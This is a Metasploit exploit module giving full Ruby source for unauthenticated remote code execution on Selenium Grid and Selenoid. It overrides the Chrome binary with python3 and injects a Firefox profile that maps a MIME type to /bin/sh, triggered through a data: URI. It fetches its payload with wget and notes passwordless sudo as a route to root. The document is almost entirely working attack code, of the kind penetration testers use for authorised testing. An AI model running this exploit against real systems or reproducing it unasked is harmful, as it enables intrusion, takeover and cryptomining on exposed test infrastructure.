Selenium Grid/Selenoid Unauthenticated RCE

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Module::Deprecated
  moved_from 'exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108'
  moved_from 'exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108'

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Payload::Python
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Selenium Grid/Selenoid Unauthenticated RCE',
        'Description' => %q{
          Selenium Grid and Selenoid expose a WebDriver API that allows creating
          browser sessions with arbitrary capabilities. When deployed without
          authentication (the default for both), an attacker can achieve remote
          code execution through two browser-specific techniques:

          For Chrome, the goog:chromeOptions binary field can be set to an
          arbitrary executable such as /usr/bin/python3, since ChromeDriver does
          not validate it. This was fixed in Selenium Grid 4.11.0 via the
          stereotype capabilities merge. All Selenoid versions remain vulnerable.

          For Firefox, a custom profile containing a malicious MIME handler that
          maps application/sh to /bin/sh can be injected via moz:firefoxOptions.
          Navigating to a data: URI with that content type triggers shell
          execution. This technique has never been patched and works on all
          Selenium Grid versions including the latest release.

          The module auto-detects available browsers and selects the best attack
          vector. Firefox is preferred as it works on all Grid versions.

          The default Docker images run as seluser/selenium with passwordless
          sudo, allowing trivial privilege escalation to root.
        },
        'Author' => [
          'Jon Stratton',
          'Wiz Research',
          'Takahiro Yokoyama',
          'Valentin Lobstein <chocapikk[at]leakix.net>'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['URL', 'https://www.wiz.io/blog/seleniumgreed-cryptomining-exploit-attack-flow-remediation-steps'],
          ['URL', 'https://www.selenium.dev/blog/2024/protecting-unsecured-selenium-grid/'],
          ['URL', 'https://github.com/SeleniumHQ/selenium/issues/9526'],
          ['URL', 'https://github.com/JonStratton/selenium-node-takeover-kit/tree/master'],
          ['EDB', '49915'],
          ['CWE', '306']
        ],
        'Platform' => %w[python unix linux],
        'Arch' => [ARCH_PYTHON, ARCH_CMD],
        'Payload' => {},
        'Targets' => [
          [
            'Python In-Memory',
            {
              'Platform' => 'python',
              'Arch' => ARCH_PYTHON
            }
          ],
          [
            'Unix/Linux Command Shell',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {
                'FETCH_COMMAND' => 'WGET',
                'FETCH_DELETE' => true,
                'FETCH_WRITABLE_DIR' => '/tmp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2021-05-28',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options([
      Opt::RPORT(4444),
      OptString.new('TARGETURI', [true, 'Base path to Selenium Grid or Selenoid', '/']),
      OptEnum.new('BROWSER', [true, 'Browser to exploit (auto detects and picks best vector)', 'auto', %w[auto firefox chrome]])
    ])
  end

  def check
    @backend = detect_backend
    return CheckCode::Unknown('No response from target') unless @backend

    @browsers = enumerate_browsers
    return CheckCode::Appears("#{@backend[:message]} (all versions vulnerable)") if selenoid?

    check_grid
  end

  def exploit
    @backend ||= detect_backend
    @browsers ||= enumerate_browsers
    browser = select_browser
    fail_with(Failure::NoTarget, 'No exploitable browser found on target') unless browser

    send("exploit_#{browser}")
  end

  private

  def selenoid?
    @backend&.dig(:type) == :selenoid
  end

  def session_path
    normalize_uri(target_uri.path, selenoid? ? 'wd/hub/session' : 'session')
  end

  def grid_version
    nodes = @backend&.dig(:value, 'nodes')
    return unless nodes.is_a?(Array) && !nodes.empty?

    version_raw = nodes.first['version']
    return unless version_raw

    version_raw.split(/\s/).first
  end

  def chrome_vuln?
    return true if selenoid?

    ver = grid_version
    ver && Rex::Version.new(ver) < Rex::Version.new('4.11.0') && @browsers.include?('chrome')
  end

  def detect_backend
    %w[status wd/hub/status].each do |path|
      res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, path))
      next unless res&.code == 200

      value = res.get_json_document['value']
      next unless value.is_a?(Hash) && value['message'].is_a?(String)

      msg = value['message'].downcase
      return { type: :selenoid, message: value['message'], value: value } if msg.include?('selenoid')
      return { type: :grid, message: value['message'], value: value } if msg.include?('selenium grid')
    end
    nil
  end

  def enumerate_browsers
    return [] unless @backend
    return selenoid_browsers if selenoid?

    grid_browsers
  end

  def selenoid_browsers
    browsers = @backend[:value]['browsers']
    return %w[chrome firefox] unless browsers.is_a?(Hash)

    browsers.keys.map(&:downcase)
  end

  def grid_browsers
    nodes = @backend[:value]['nodes']
    return [] unless nodes.is_a?(Array)

    nodes.flat_map { |n| (n['slots'] || []).map { |s| s.dig('stereotype', 'browserName')&.downcase } }.compact.uniq
  end

  def check_grid
    ver_str = grid_version
    return CheckCode::Detected('Selenium Grid detected but could not determine version') unless ver_str
    return CheckCode::Appears("Selenium Grid #{ver_str} with Firefox (all versions vulnerable to profile handler)") if @browsers.include?('firefox')
    return CheckCode::Appears("Selenium Grid #{ver_str} with Chrome (vulnerable to binary override)") if chrome_vuln?
    return CheckCode::Safe("Selenium Grid #{ver_str} - Chrome patched (stereotype merge), no Firefox available") if @browsers.include?('chrome')

    CheckCode::Detected("Selenium Grid #{ver_str} - no exploitable browsers found")
  end

  def select_browser
    choice = datastore['BROWSER']

    if choice != 'auto'
      print_warning("#{choice} not available on target (found: #{@browsers.join(', ')})") unless @browsers.empty? || @browsers.include?(choice)
      return choice
    end

    if @browsers.include?('firefox')
      print_status('Auto-selected Firefox (profile handler - works on all Grid versions)')
      return 'firefox'
    end

    if @browsers.include?('chrome') && chrome_vuln?
      print_status('Auto-selected Chrome (binary override)')
      return 'chrome'
    end

    print_warning("Chrome binary override patched on Grid #{grid_version}, no Firefox available") if @browsers.include?('chrome')
    nil
  end

  def create_session(body)
    send_request_cgi('method' => 'POST', 'uri' => session_path, 'ctype' => 'application/json', 'data' => body)
  end

  def cleanup_session(session_id)
    res = send_request_cgi('method' => 'DELETE', 'uri' => normalize_uri(session_path, session_id), 'ctype' => 'application/json')
    print_status(res ? "Deleted session #{session_id}" : "Could not delete session #{session_id}. It may need to expire.")
  rescue StandardError
    nil
  end

  def exploit_chrome
    body = {
      'capabilities' => {
        'alwaysMatch' => {
          'browserName' => 'chrome',
          'goog:chromeOptions' => { 'binary' => '/usr/bin/python3', 'args' => ["-c#{build_python_payload}"] }
        }
      }
    }.to_json

    print_status('Sending Chrome session request with binary override...')
    res = create_session(body)

    return print_warning('No response received (expected - Python exits after execution)') unless res
    return print_good('Payload executed (server returned 500 as expected)') if res.code == 500

    fail_with(Failure::UnexpectedReply, "Unexpected HTTP #{res.code}") unless res.code == 200

    json = res.get_json_document
    return print_good("Payload executed (Chrome crash expected: #{json['value']['message']&.slice(0, 80)}...)") if json.dig('value', 'error')

    session_id = json.dig('value', 'sessionId')
    return unless session_id

    print_warning("Session #{session_id} created but binary override may have been ignored")
    cleanup_session(session_id)
  end

  def build_python_payload
    inner = target['Arch'] == ARCH_PYTHON ? payload.encoded : "os.system(#{payload.encoded.inspect})"
    py_create_exec_stub("import os,time\npid=os.fork()\nif pid==0:\n os.setsid()\n #{inner}\nelse:\n time.sleep(300)")
  end

  def exploit_firefox
    encoded_profile = build_malicious_profile
    body = {
      'desiredCapabilities' => { 'browserName' => 'firefox', 'firefox_profile' => encoded_profile },
      'capabilities' => { 'firstMatch' => [{ 'browserName' => 'firefox', 'moz:firefoxOptions' => { 'profile' => encoded_profile } }] }
    }.to_json

    print_status('Creating Firefox session with malicious profile...')
    res = create_session(body)
    fail_with(Failure::UnexpectedReply, 'No response when creating session') unless res

    session_id = res.get_json_document.dig('value', 'sessionId') || res.get_json_document['sessionId']
    fail_with(Failure::UnexpectedReply, 'Failed to create Firefox session') unless session_id
    print_status("Session created: #{session_id}")

    cmd = payload.encoded
    cmd = "echo -n #{Rex::Text.encode_base64(cmd)} | base64 -d | python3 &" if target['Arch'] == ARCH_PYTHON
    script = "#{cmd}\n"

    fetch_dir = datastore['FETCH_WRITABLE_DIR'] || '/tmp'
    fetch_file = datastore['FETCH_FILENAME']
    register_file_for_cleanup("#{fetch_dir}/#{fetch_file}") if fetch_file

    print_status('Navigating to data: URI to trigger handler...')
    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, selenoid? ? 'wd/hub' : '', "session/#{session_id}/url"),
      'ctype' => 'application/json',
      'data' => { 'url' => "data:application/sh;charset=utf-16le;base64,#{Rex::Text.encode_base64(script)}" }.to_json
    )

    cleanup_session(session_id)
  end

  def build_malicious_profile
    stringio = Zip::OutputStream.write_buffer do |io|
      io.put_next_entry('handlers.json')
      io.write({
        'defaultHandlersVersion' => { 'en-US' => 4 },
        'mimeTypes' => { 'application/sh' => { 'action' => 2, 'handlers' => [{ 'name' => 'sh', 'path' => '/bin/sh' }] } }
      }.to_json)
    end
    stringio.rewind
    Base64.strict_encode64(stringio.sysread)
  end

end